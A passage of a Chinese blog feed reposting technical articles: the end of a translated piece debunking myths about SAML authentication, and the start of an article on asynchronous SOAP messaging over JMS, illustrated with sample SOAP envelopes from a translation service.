<P>最后，SAML 定义了一个 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">XML 签名（XML Signature）</B>元素以标识认证中心。该元素可以包含一个带有公钥、到期日和使用策略的 X509 证书。XML 签名还包含签名值本身，签名值是由认证中心为元素内容生成的。可以使用 X509 证书中权威机构的公钥信息来验证签名。通常，SAML 的复杂性在于部署基于 SAML 的软件，以及设置公钥基础结构（PKI）环境和数字证书。 </P>
<P><A name=3><SPAN class=atitle2>误解：SAML 为大多数行业预定义了所有属性含义。</SPAN></A><BR>SAML 并未为任何行业定义属性含义。而是定义了一个名称空间机制，行业团体可以使用该名称空间机制来为其特定行业定义属性。例如，在航空行业中，SAML 属性 <CODE>role:mechanic</CODE> 定义了飞机的机械师。系统两端的各方需要分别就 SAML 使用的名称空间达成一致。 </P>
<P>SAML 规范标识自己的名称空间来限定 SAML 属性和元素。例如，名称空间 <CODE>"urn:oasis:names:tc:SAML:1.0:action:ghpp"</CODE> 定义了 SAML 操作中使用的 get/head/put/post http 操作。如果该 SAML 名称空间的格式看起来有点古怪，那么这可能是因为 SAML 名称空间未遵循 SOAP 和 XML-RPC 中的传统 XML 名称空间格式：XML 名称空间是 URI；SAML 使用 URI 的 URN 变体，而其它名称空间则使用 URL 变体。 </P>
<P><A name=4><SPAN class=atitle2>不实说法：SAML 是一个认证权威机构。</SPAN></A><BR>SAML 是一个在服务器之间使用的认证 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">协议</I>。您仍然需要能帮助您实际登录的某些东西。SAML 所能说的只是“您已经登录了（you have logged in）”。例如，当 LDAP 服务器对一个用户进行认证时，认证权威机构是 LDAP 服务器 — 即使 LDAP 服务器可能正在使用 SAML 来传送认证。 </P>
<P>在完整的认证系统中，您仍需要编写策略决策点，以确定用户是否可以访问 Web 页面。此外，您还需要编写策略强制实施点（enforcement point）。这是一个接收权限、检查角色和权限，然后做出断言的 servlet 或应用程序。有几家公司提供了商业策略决策点和策略强制实施点解决方案，这些公司包括 Oblix、Netegrity、IBM 和许多其它公司。</P>
<P><A name=5><SPAN class=atitle2>误解：在认证需要传输大量数据的 Web 环境中，SAML 不能很好地工作。</SPAN></A><BR>当权限请求对于 HTTP 重定向而言太长时，SAML 定义了一种 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">助诊文件（artifact）</B>机制。SAML 助诊文件的长度为 42 字节，它包含一个类型-代码 — 长度为 20 个字节的源标识，以及长度为 20 个字节的随机数，服务器用它来查找断言。源服务临时存储断言。目标站点接收断言，然后从源站点上的助诊文件直接抽出所需的数据。这允许两台不同的安全性服务器使用助诊文件。 </P>
<P><A name=6><SPAN class=atitle2>不实说法：使用重播技术可以轻易地攻破 SAML。</SPAN></A><BR><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">重播</B>攻击是这样一类攻击：它可以拦截有效的消息，然后再将该消息重播回服务。重播攻击可用于造成数据完整性问题以及拒绝服务攻击。 </P>
<P>SAML 提供了避免重播攻击的保护。SAML 要求在传输断言和消息时使用 SSL 加密，以专门防止断言被拦截。此外，SAML 提供了数字签名机制，该机制使断言具有有效时间范围，以防止断言以后被重播。</P>
<P>最后，助诊文件概要具有其它两个重播对策：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>SAML 源站点只将断言返回给接收助诊文件的请求者。 
<LI>SAML 源站点在第一次使用助诊文件后会擦除其助诊文件到断言的映射，从而使得重播的助诊文件无效。 </LI></UL>
<P><A name=7><SPAN class=atitle2>误解：SAML 定义了发现过程以查找认证权威机构。</SPAN></A><BR>SAML 未定义任何机制来查找接受 SAML 断言的目标站点。</P>
<P>SAML 定义了一种用于认证的 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">推（push）</B>机制：用户登录到源站点，然后该站点向目标站点发送一个断言。该过程需要源站点和目标站点之间进行数字签名。在 Web 环境中，浏览器将表单公布（post）到目标站点，并且在一个隐藏的表单变量中包含一个用 Base64 编码的签名和断言。 </P>
<P>将来的 SAML 规范有可能包含发现机制。</P>
<P><A name=8><SPAN class=atitle2>不实说法：SAML 不能处理匿名或访客（guest）访问。</SPAN></A><BR>SAML 没有用于提供匿名认证的功能。请考虑这样一种方案，其中某个网站允许您使用合作伙伴网站的功能，但是不允许合作伙伴站点知道您是谁。SAML 未提供这样的功能。让 SAML 处理匿名或访客访问是可能的，但是这要求参与的企业就其自己的匿名访问或访客授权访问的约定达成一致。</P>
<P><A name=9><SPAN class=atitle2>不实说法：SAML 要求在客户机端和服务器端都有 SSL 证书。</SPAN></A><BR>SAML 构建在需要公钥基础结构（PKI）的基础之上，以提供数字签名和 SAML 断言的加密。所以，PKI 具有的不便 SAML 全都有。</P>
<P>SAML 是最先需要那种程度的细粒度安全性的协议中的一个；例如，XML 密钥管理规范（XML Key Management Specification，XKMS）提供的安全性将用于认证 SAML 断言。同时，通过要求使用 HTTP Basic 的 HTTP 客户机端认证或 SSL 客户机端证书认证，SAML 为 SAML 助诊文件提供了安全性。然后只将助诊文件发送给期望的请求者，在检索到助诊文件后则删除它。</P>
<P><A name=10><SPAN class=atitle2>误解：SAML 是雾件（vaporware，指已宣布但还未实现）；还没有人要实现它。</SPAN></A><BR>许多商业和开放源码产品中已经提供了 SAML，包括：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>IBM Tivoli Access Manager 
<LI>Oblix NetPoint 
<LI>SunONE Identity Server 
<LI>Baltimore, SelectAccess 
<LI>Entegrity Solutions AssureAccess 
<LI>Internet2 OpenSAML 
<LI>Netegrity SiteMinder 
<LI>Sigaba Secure Messaging Solutions 
<LI>RSA Security ClearTrust 
<LI>VeriSign Trust Integration Toolkit 
<LI>Entrust GetAccess 7 </LI></UL>
<P><A name=11><SPAN class=atitle2>误解：Microsoft 不支持 SAML。</SPAN></A><BR>目前还不清楚 Microsoft 将如何支持 SAML，但是 Microsoft 和 OASIS 小组正在进行大量工作，以使得 SAML 与 Microsoft 的倡议相协调。Microsoft 的平台和服务（包括 Microsoft .NET Passport）将如何与那些实现 Liberty Alliance 和 OASIS WS-Security 项目协议的服务相互操作，还需拭目以待。例如，与 Passport 的专有系统不同，Liberty Alliance 认证规范使用 SAML 标记来交换认证标记。但是，这两种认证系统在将标记从一个站点传递到下一个站点的方式上有所不同。</P>
<P>Microsoft 已公开承诺使 WS-Security 路线图工作和 SAML 项目合理化。他们似乎更侧重于以 WS-Security 作为更通用的 Web 服务安全性模型，该模型可以使用现有的 IT 投资以及新兴标准（如 SAML 和 XrML）。Microsoft 正在与 OASIS WS-Security 小组通力合作，以使用 SAML 断言作为 WS-Security 凭证。最近，OASIS WS-Security 小组接受了 SAML 的 WS-Security 绑定。</P>
<P>尽管 Microsoft 对 OASIS WS-Security 小组无控制力，但 Chris Kaler 是该工作组的主席之一，同时也是 Microsoft 员工。我认为，如果 Microsoft 对于将 SAML 用于 Passport 和 Liberty Alliance 只想得到形式上的认可，那么 Microsoft 还不如向 ECMA 标准团体提供建议。</P>
<P><A name=12><SPAN class=atitle2>误解：XML 签名中的规范化是不需要的。</SPAN></A><BR>这完全错了。</P>
<P>XML 签名是一种规范，旨在满足将 XML 文档（包括 SAML）与数字签名一起使用的特殊需求。W3C 的 XML 签名工作组正在开发一种 XML 语法，以便于可以对几乎任何内容进行签名 — XML 文档、SOAP 消息头和 XML 元素，并且提供用于创建和验证数字签名的协议和过程。</P>
<P>XML 签名中的规范化是允许在多个服务之间进行认证所必需的。例如，请考虑当您通过浏览器界面从制造商那里购买个人计算机时，服务器端所发生的情形。多个服务处理订单的不同部分：一个服务提供搜索功能以找到您希望订购的产品；下一个是开帐单服务，它获取您的支付信息；最后一个服务获取装运信息。这三个系统使用 SAML 断言共享您的记录。规范化确保了您记录中的字节顺序保持相同，即使三个不同系统正在操作该记录也是如此。如果没有规范化，那么该记录就可能会发生变化并使 XML 签名无效，因为 XML 签名的任务是确保其签名的内容是完好无损的，并且字节顺序是相同的。</P>
<P><A name=13><SPAN class=atitle2>结束语</SPAN></A><BR>由于许多致力于安全性的公司已经提供了上市的产品，因而 SAML 有一个良好的起点。SAML 规范为在一组联合服务中设计支持 Web 的、单点登录的服务提供了良好的框架。SAML 规范工作组的工作还在继续，以使得 SAML 和其它新兴标准（包括 WS-Security）之间的互操作性需求合理化。</P>
<P><I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">作者感谢 Charles Knouse（Oblix 的首席软件工程师）和软件开发论坛（Software Development Forum，www.sdforum.org）的 Web 服务特别兴趣组（Web Services Special Interest Group），感谢他们为研究本文所提供的帮助。</I> </P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.ibm.com/developerworks/library/x-samlmyth.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">英文原文</A>. <BR><BR>
<LI>请在 OASIS 联盟站点上阅读 <A href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">SAML 规范</A>。 <BR><BR>
<LI>请查阅 Murdoch Mactaggart 的 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">developerWorks</I>文章 <A href="http://www-128.ibm.com/developerworks/cn/xml/s-xmlsec/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Enabling XML security</A>，这篇文章非常出色地介绍了 XML 加密和 XML 签名（2001 年 9 月）。 <BR><BR>
<LI>请了解即将出现的 Web 服务安全性协议的工作原理 — 请在 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">developerWorks</I>上阅读 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-sectoken/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">基于 XML 的令牌的 WS-Security 概要文件</A>（2002 年 8 月）。 <BR><BR>
<LI>通过 Jon Udell 有关 SAML 和 PKI 的 <A href="http://www.infoworld.com/article/02/10/15/021017opwebserv_1.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">InfoWorld 文章</A>了解更多背景知识。 <BR><BR>
<LI>请下载 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">alphaWorks</I>的 <A href="http://www.alphaworks.ibm.com/tech/xmlsecuritysuite" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">XML Security Suite</A>，以获得一个 XML 数字签名的实现。 <BR><BR>
<LI>请回顾由 Frank Cohen 所撰写的 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-single/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">前一篇文章</A>，以了解先于 Web 服务流行的 XML 单点登录方法（ <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">developerWorks</I>，2002 年 1 月）。 <BR><BR>
<LI>在 <A href="http://www-128.ibm.com/developerworks/cn/xml/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/"><I>developerWorks</I>XML 专区 </A>上找到更多 XML 参考资料。 <BR><BR>
<LI>请获取 <A href="http://www-3.ibm.com/software/info1/websphere/index.jsp?tab=landings/studiosplashv5" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">IBM WebSphere Studio</A>，这是一个使 XML 开发自动化的工具，可以使用 Java 语言和其它语言进行开发。它同 <A href="http://www.ibm.com/developerworkshttp://www-3.ibm.com/software/webservers/appserv/&amp;origin=x" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">WebSphere Application Server</A>紧密集成，也可以与其它 J2EE 服务器一起使用。 <BR><BR>
<LI>了解如何成为一名 <A href="http://www-128.ibm.com/developerworks/cn/xml/theme/x-cert.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">IBM 认证的 XML 及相关技术的开发人员</A>。 <BR></LI></UL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>Frank Cohen 是一位 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">“上门服务”</I>人士，当企业需要测试和解决复杂的互操作信息系统（特别是 Web 服务）中的问题时，他可以上门服务。Frank 是 PushToTest（一家测试自动化解决方案公司）的创始人和几本有关测试信息系统的书籍的作者。Frank 最近出版的新书 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Automating Web Tests with TestMaker</I>现在可在 <A href="http://www.pushtotest.com/ptt" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.pushtotest.com/ptt</A>找到。可以通过 <A href="mailto:fcohen@pushtotest.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">fcohen@pushtotest.com</A>与他联系。 </TD></TR></TBODY></TABLE><BR clear=all><img src ="http://www.blogjava.net/kapok/aggbug/14372.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 09:20 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14372.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使Web Services更灵活</title><link>http://www.blogjava.net/kapok/archive/2005/08/22/10653.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 22 Aug 2005 01:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/22/10653.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10653.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/22/10653.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10653.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10653.html</trackback:ping><description><![CDATA[<A href="http://www.ftponline.com/china/XmlFile.aspx?ID=258">http://www.ftponline.com/china/XmlFile.aspx?ID=258</A><BR><BR>
<TABLE class=resourcetable cellSpacing=0 cellPadding=6 width=140 align=right border=1 xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TBODY>
<TR>
<TD align=middle><A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl')">见资源</A><BR></TD></TR></TBODY></TABLE><B xmlns:fo="http://www.w3.org/1999/XSL/Format">将异步消息传递（如Java Message Service）与SOAP结合起来就意味着Web services可以有更多的用途。</B><BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><SPAN class=AboutAuthor xmlns:fo="http://www.w3.org/1999/XSL/Format">by David Chappell and Tony Hong</SPAN> 
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">直到最近，Web services的用途一直集中于通过HTTP实现的同步请求/回应模式（request/reply model）。这是很自然的，因为Web services的第一个用例就是集中在Remote Procedure Call（RPC）和分布式组件交互的。然而，Web services的这种应用情况忽视了当今IT前景的一个重大的方面：异步消息传递（asynchronous messaging），它有很大的价值，因为它给数据传输和处理带来了一定的可靠性和灵活性，这些性能是同步消息传递很难实现的。通过异步消息传输机制（如JMS），把异步消息传递同SOAP结合起来就可以将如今的Web services标准应用到更广的领域。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">将这种技术结合用于重要的企业集成环境是最受欢迎的了。该领域一直是由Electronic Data Interchange （EDI）、Enterprise Application Integration（EAI）和B2B统治的——然而IT社团一直在寻找成本更低、更高效、更基于标准的方法。在这些领域中，用即时的同步RPC来换取一些功能会让我们更满意，这些功能包括可靠的传递能力、更适合面向企业交易的松散耦合的、粗粒度的（coarse-grained）接口；面向文档的异步交互和对通讯协议和传输机制的支持。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">让我们看看JMS是如何成为一种可靠的异步SOAP消息传递的方法的。我们也将探讨如何将JMS用于可靠的Web services调用。（你可以在这里<A href="http://www.fawcette.com/xmlmag/2003_02/magazine/practice/dchappell/download/" target=_blank>下载样例代码</A>；注意，你需要接受一个许可协议并在<A href="http://www.xmethods.net/" target=_blank>www.xmethods.net</A>网站上注册。）</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图1. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig1sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图1. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure1.xml&amp;xslfile=../../include/xsl/Figure.xsl');">多方同步通讯</A></CENTER></TD></TR></TBODY></TABLE>许多Web services都运用一个同步的RPC模式，在这个模式中，服务呈现细粒度的（fine-grained）接口，而且一个Web services客户端调用RPC型（RPC-style）的交互。在一个RPC型的环境中，参与一个单独的通讯流程的所有的应用程序和服务都必须是可用的，以使多方通讯成功。在有些情况下，同步模式是必需的，比如当服务传递的信息在本质上是实时的（如详细目录查找）时候。然而，这种同步处理是一种要么全有要么全无的（all-or-nothing）命题。如果由于某种原因不能得到一个下行的（downstream）服务，那么提出请求的应用程序及其上行的（upstream）参与者就需要处理应用程序代码中的错误（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure1.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图1</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">可靠的异步通讯是指，为了保持整个环境的健全，系统的所有方面不需要在任何特定的时候都是可用的。即使对于一个简单的两方客户端/服务（client/service）交互来说，运用可靠的异步通讯就意味着，当客户端对服务提出请求时，被调用的服务不需要是可用的。客户端将请求传递到一个可靠的异步传输机制中，该请求暂时不能与服务进行对话。然后客户端本身变成不可用的，当服务成为可用的时，就可以进行服务调用了。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>处于等待状态的（pending）交互</FONT></B><BR>异步交互也不需要客户端等待响应。一个Web service端点（end point）可以代表一个应用程序，它需要一些时间来执行计算、查找或转换等任务。对一个服务提出异步请求的客户端可以继续执行其它任务，同时其Web service交互处于等待状态。这就提高了并行性（concurrency）和可扩展性。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">细粒度的RPC型的接口需要每个应用程序和服务都知道它们是如何同其它应用程序和服务进行通讯的。例如，一个订单接口上可能有诸如getQuantity()、getTotal()或getBillToAddress()等方法。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">粗粒度、文本型（document-style）的接口是指，每个应用程序或服务只需要关心封装的XML文档，该XML文档包含所有相关的信息，服务可以与其它感兴趣者共享这些信息，并可以以SOAP envelope的形式将这些信息发送给他们。同样，在使用服务时，我们可以从XML文档选择相关的数据（例如&lt;ShipTo&gt;地址），进行相应的处理，然后将结果发送到其它目的地。当你将异步交互同文本型、粗粒度的接口结合起来时，你就为消息传递形式的调用做好了主要准备了。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图2. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig2sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图2. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure2.xml&amp;xslfile=../../include/xsl/Figure.xsl');">消息队列</A></CENTER></TD></TR></TBODY></TABLE>得到可靠的异步通讯的最明智的方法就是运用基于JMS的消息队列。JMS是个标准，它提供了一组通用API让应用程序使用，并提供了一组通用的消息传递语义，如确保消息传递、消息一定会被传递且仅传递一次（once-and-only-once delivery）。JMS将其性能和执行原则封装在自己的层中，这个层是同应用程序层分离的。一个将基于JMS消息传递系统作为传输机制的应用程序不需要关心消息是如何传递的。SOAP消息可以在发送者和接收者之间列队等待（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure2.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图2</A>）。JMS提供者负责处理异步、消息持续性、交易完整性和接收确认等所有方面。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">Java 2 Platform、Enterprise Edition（J2EE）架构图总是将JMS看做是个隐藏在防火墙后面的组件，通过它我们在一个JSP servlet引擎和消息驱动的bean之间异步地传递消息。如果你在制作Web页面并将它们同中间层商业逻辑结合起来，那么这个架构就是个有效的用例，但这并不是运用消息传递的唯一的方式。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">JMS消息传递机制是跨Internet传递数据、SOAP或其它信息的一个完全可行的解决方案。一个JMS机制可以在哪里部署以及如何部署的细节取决于供应商。许多JMS供应商都提供某种通道性能（tunneling capabilities）。例如，在SonicMQ例子中，JMS客户端到JMS服务器的通讯可以很容易地跨越公开的Internet、跨越防火墙、以一种运用HTTP、HTTPS、SSL或TCP sockets的安全的、可靠的方式进行。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>将JMS作为一种SOAP传输机制</FONT></B><BR>自1998年被引进到业界以来，JMS就作为一种基于标准的消息传递方法，在应用程序之间传输SOAP消息。它有五种消息类型，可以传递任何类型的数据（基于XML或不基于XML）。XML数据可以很容易地作为一个JMS BytesMessage中的二元数据或作为TextMessage中的串数据（string data）来传递。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">不管对话两端运用何种API，我们把传输层上运用的JMS看做是除了普通的、老的HTTP传输之外的另一种可选方法。在我们的例子中，我们将JMS的API和Apache SOAP结合起来了——运用JMS API来连接、发送和接收消息，运用Apache SOAP来建构（construct）和析构（deconstruct）SOAP envelope。在不久的将来，JMS将作为一个传输层被嵌入到Apache Axis中。JMS将会成为一个部署选项。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">JMS也有一个内置的同步请求/回应模式。这个请求/回应模式也可以异步地工作。请求者不需要block请求，等待即时的响应。响应可以在稍后的时间异步地发送。JMS可以使最初的请求消息同相应的响应消息关联起来，即使请求和响应在时间上是分离的，或者即使请求过程在失败后又恢复正常。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">XMethods中列出的BabelFish服务给AltaVista的很受欢迎的BabelFish翻译工具提供了一个典型的PRC SOAP接口（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl');">资源</A>）。下面我们来看一下这个Web service的一个异步版本，称为AsynchBabelFish。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">从根本上说，该服务主要是异步交换SOAP文档。客户端给服务发送一个AsynchBabelFish转换请求文档，一段时间后，服务将一个AsynchBabelFish转换结果文档发送回客户端。交换是在消息队列上完成的。从这个简单的例子，我们可以看到的一个明显的好处就是，即使服务出了问题，客户端也不会受影响；它可以将请求放到服务队列中，该请求是肯定可以被完成的——即使不是在现在，在稍后时间服务恢复正常时就可以完成。而且，运用一个异步模式也可以给客户端和服务器提供很多的灵活性，使它们可以控制消息的处理速度，例如，服务器可以从服务队列取出消息，按自己的意愿随时处理它们。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">在客户端和AsynchBabelFish服务之间可能交换了三个文档：从客户端发送到服务的转换请求文档、从服务发送回客户端的转换结果文档、以及如果请求出了问题或如果转换请求由于某种原因不能完成，发送回客户端的一个替代结果文档的SOAP fault envelope。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">要对AsynchBabelFish服务提出一个请求，客户端需要将转换请求文档创建成一个字符串，并将它作为一个TextMessage列在AsynchBabelFish服务请求队列中。Envelope采用的形式见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List1.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表1</A>。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">转换请求envelope的body部分包含SourceText元素，它带有用户想要转换的文本。Xml:lang属性为文本语言指定了编码，traslateTo属性为用户想将文本转换到的语言指定了编码。所支持的语言包括English（en）、German（de）、French（fr）、Italian（it）和Portuguese（pt）。对于源文（source text），有150个字的限制。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">注意SOAP header中运用的WS-Security header元素。AsynchBabelFish服务要求对XMethods用户ID/密码数据库进行验证，该元素用来提供请求者的身份凭证（credentials）。（关于WS-Security的更多信息，请参阅<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl');">资源</A>。）转换结果envelope的body部分包含两个子元素，SourceText和TranslationText。例如： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;?xml version="1.0" encoding=
	"UTF-8"?&gt;
&lt;soap:Envelope xmlns:soap=
	"http://schemas.xmlsoap.org/
	soap/envelope/"&gt;
	&lt;soap:Body&gt;
		&lt;SourceText xml:lang="en"
			xmlns:xml=http://www.w3.org/
			XML/1998/namespace
			xmlns="http://xmethods.net/
			babelfish"&gt;hello&lt;/SourceText&gt;
		&lt;TranslationText xml:lang="fr" 
			xmlns:xml=
			"http://www.w3.org/XML/1998/
			namespace"
			xmlns="http://xmethods.net/
				babelfish"&gt;bonjour
		&lt;/TranslationText&gt;
	&lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">SourceText只是重复传递到请求的内容。TranslationText包含转换的文本及其语言的xml:lang指示符。如果请求envelope有问题，从而不可能完成请求，就会返回一个标准的SOAP fault envelope来替代转换结果文档。下面的例子显示的是SOAP fault envelope；如果请求消息带有的TextMessage不是格式规范的XML，那么这个特殊的fault就会被发送回客户端： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;?xml version='1.0' encoding=
	'UTF-8'?&gt;
&lt;soap:Envelope xmlns:soap=
	'http://schemas.xmlsoap.org/
	soap/envelope/'&gt;
	&lt;soap:Body&gt;
		&lt;soap:Fault&gt;
			&lt;faultcode&gt;soap:Client
			&lt;/faultcode&gt;
			&lt;faultstring&gt;Incoming text 
				is not XML&lt;/faultstring&gt;
		&lt;/soap:Fault&gt;
	&lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">通过一个基于JMS的Web service（如AsynchBabelFish），客户端和服务器就不是直接进行交互的了；取而代之的是，SOAP请求可以通过消息队列在客户端和服务器之间进行传递，而不受时间的影响（time-independent）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">现在，让我们看看一个消息是如何从客户端传递到服务器的（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure3.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图3</A>）。客户端创建一个转换请求envelope，并将它放在该服务的请求队列中。服务的所有客户端都可以运用这个众所周知的公用队列，如同基于HTTP的服务运用固定的、众所周知的HTTP端点URL一样。客户端也给请求消息提供了一个reply-to JMS header，它包含一个响应队列的名字，从而让服务知道将响应消息发送到哪里。AsynchBabelFish服务过程是否立即完成同该步骤（将请求放入队列）是无关的。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图3. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig3sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
